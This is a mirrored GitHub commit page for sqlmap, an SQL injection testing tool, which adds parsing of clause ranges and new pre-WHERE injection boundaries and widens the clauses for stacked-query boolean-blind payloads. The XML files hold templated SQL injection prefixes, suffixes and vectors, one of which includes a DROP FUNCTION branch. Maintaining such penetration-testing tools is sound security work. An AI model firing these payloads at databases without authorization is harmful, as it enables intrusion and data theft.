Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 35d9ed8

Browse files
stamparmstamparm
committed
Cleaning a mess with stacked queries and pre-WHERE boundaries
1 parent a5e3dce commit 35d9ed8

6 files changed

Lines changed: 89 additions & 49 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.enums import OS
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.2.9.22"
22+
VERSION = "1.2.9.23"
2323
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2424
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2525
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎lib/parse/payloads.py‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
"""
77

88
import os
9+
import re
910

1011
from xml.etree import ElementTree as et
1112

@@ -17,6 +18,9 @@
1718
from lib.core.settings import PAYLOAD_XML_FILES
1819

1920
def cleanupVals(text, tag):
21+
if tag == "clause" and '-' in text:
22+
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
23+
2024
if tag in ("clause", "where"):
2125
text = text.split(',')
2226

‎txt/checksum.md5‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
5050
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
5151
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
5252
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
53-
1778dd902fbe5392377fd9b723898bbb lib/core/settings.py
53+
4991b844fe999aba86dfd13a672c95b7 lib/core/settings.py
5454
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
5555
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
5656
248bd121e0565318e1efaff54aa427bc lib/core/target.py
@@ -67,7 +67,7 @@ fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py
6767
6bab53ea9d75bc9bb8169d3e8f3f149f lib/parse/headers.py
6868
1bc6ddaeada0f2425fa9aae226854ca8 lib/parse/html.py
6969
1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py
70-
f2af274126ce0a789027d35d367f2b9e lib/parse/payloads.py
70+
f6b5957bf2103c3999891e4f45180bce lib/parse/payloads.py
7171
492654567e72b6a14584651fcd9f16e6 lib/parse/sitemap.py
7272
30eed3a92a04ed2c29770e1b10d39dc0 lib/request/basicauthhandler.py
7373
2b81435f5a7519298c15c724e3194a0d lib/request/basic.py
@@ -471,13 +471,13 @@ d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml
471471
d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
472472
350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml
473473
817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml
474-
de871ef9c982799a7f7f84621f103f26 xml/boundaries.xml
474+
3059d50cf0cd17a403c17833f0bcd4df xml/boundaries.xml
475475
6cffc395cd0280f5c1a84542da6642e5 xml/errors.xml
476476
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
477-
fe2a865a8579f2045d2be057a00f5b49 xml/payloads/boolean_blind.xml
477+
1d5d2027cabbd1c9ff317d97ae8fe92a xml/payloads/boolean_blind.xml
478478
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
479479
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
480-
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
480+
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml
481481
92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml
482482
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
483483
b148ef9ef70aaada9eb6e58ab1e384e1 xml/queries.xml

‎xml/boundaries.xml‎

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -413,6 +413,42 @@ Formats:
413413
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
414414
<suffix>)+'</suffix>
415415
</boundary>
416+
417+
<boundary>
418+
<level>5</level>
419+
<clause>9</clause>
420+
<where>1</where>
421+
<ptype>2</ptype>
422+
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
423+
<suffix>)||</suffix>
424+
</boundary>
425+
426+
<boundary>
427+
<level>5</level>
428+
<clause>9</clause>
429+
<where>1</where>
430+
<ptype>2</ptype>
431+
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
432+
<suffix>)||</suffix>
433+
</boundary>
434+
435+
<boundary>
436+
<level>5</level>
437+
<clause>9</clause>
438+
<where>1</where>
439+
<ptype>1</ptype>
440+
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
441+
<suffix>)+</suffix>
442+
</boundary>
443+
444+
<boundary>
445+
<level>5</level>
446+
<clause>9</clause>
447+
<where>1</where>
448+
<ptype>2</ptype>
449+
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
450+
<suffix>)+</suffix>
451+
</boundary>
416452
<!-- End of pre-WHERE generic boundaries -->
417453

418454
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->

‎xml/payloads/boolean_blind.xml‎

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1386,7 +1386,7 @@ Tag: <test>
13861386
<stype>1</stype>
13871387
<level>4</level>
13881388
<risk>1</risk>
1389-
<clause>0</clause>
1389+
<clause>1-8</clause>
13901390
<where>1</where>
13911391
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
13921392
<request>
@@ -1407,7 +1407,7 @@ Tag: <test>
14071407
<stype>1</stype>
14081408
<level>5</level>
14091409
<risk>1</risk>
1410-
<clause>0</clause>
1410+
<clause>1-8</clause>
14111411
<where>1</where>
14121412
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
14131413
<request>
@@ -1428,7 +1428,7 @@ Tag: <test>
14281428
<stype>1</stype>
14291429
<level>3</level>
14301430
<risk>1</risk>
1431-
<clause>0</clause>
1431+
<clause>1-8</clause>
14321432
<where>1</where>
14331433
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)</vector>
14341434
<request>
@@ -1449,7 +1449,7 @@ Tag: <test>
14491449
<stype>1</stype>
14501450
<level>5</level>
14511451
<risk>1</risk>
1452-
<clause>0</clause>
1452+
<clause>1-8</clause>
14531453
<where>1</where>
14541454
<vector>;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1</vector>
14551455
<request>
@@ -1469,7 +1469,7 @@ Tag: <test>
14691469
<stype>1</stype>
14701470
<level>3</level>
14711471
<risk>1</risk>
1472-
<clause>0</clause>
1472+
<clause>1-8</clause>
14731473
<where>1</where>
14741474
<vector>;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]</vector>
14751475
<request>
@@ -1491,7 +1491,7 @@ Tag: <test>
14911491
<stype>1</stype>
14921492
<level>4</level>
14931493
<risk>1</risk>
1494-
<clause>0</clause>
1494+
<clause>1-8</clause>
14951495
<where>1</where>
14961496
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</vector>
14971497
<request>
@@ -1513,7 +1513,7 @@ Tag: <test>
15131513
<stype>1</stype>
15141514
<level>4</level>
15151515
<risk>1</risk>
1516-
<clause>0</clause>
1516+
<clause>1-8</clause>
15171517
<where>1</where>
15181518
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL</vector>
15191519
<request>
@@ -1533,7 +1533,7 @@ Tag: <test>
15331533
<stype>1</stype>
15341534
<level>5</level>
15351535
<risk>1</risk>
1536-
<clause>0</clause>
1536+
<clause>1-8</clause>
15371537
<where>1</where>
15381538
<vector>;IIF([INFERENCE],1,1/0)</vector>
15391539
<request>
@@ -1553,7 +1553,7 @@ Tag: <test>
15531553
<stype>1</stype>
15541554
<level>5</level>
15551555
<risk>1</risk>
1556-
<clause>0</clause>
1556+
<clause>1-8</clause>
15571557
<where>1</where>
15581558
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
15591559
<request>

0 commit comments

Comments
 (0)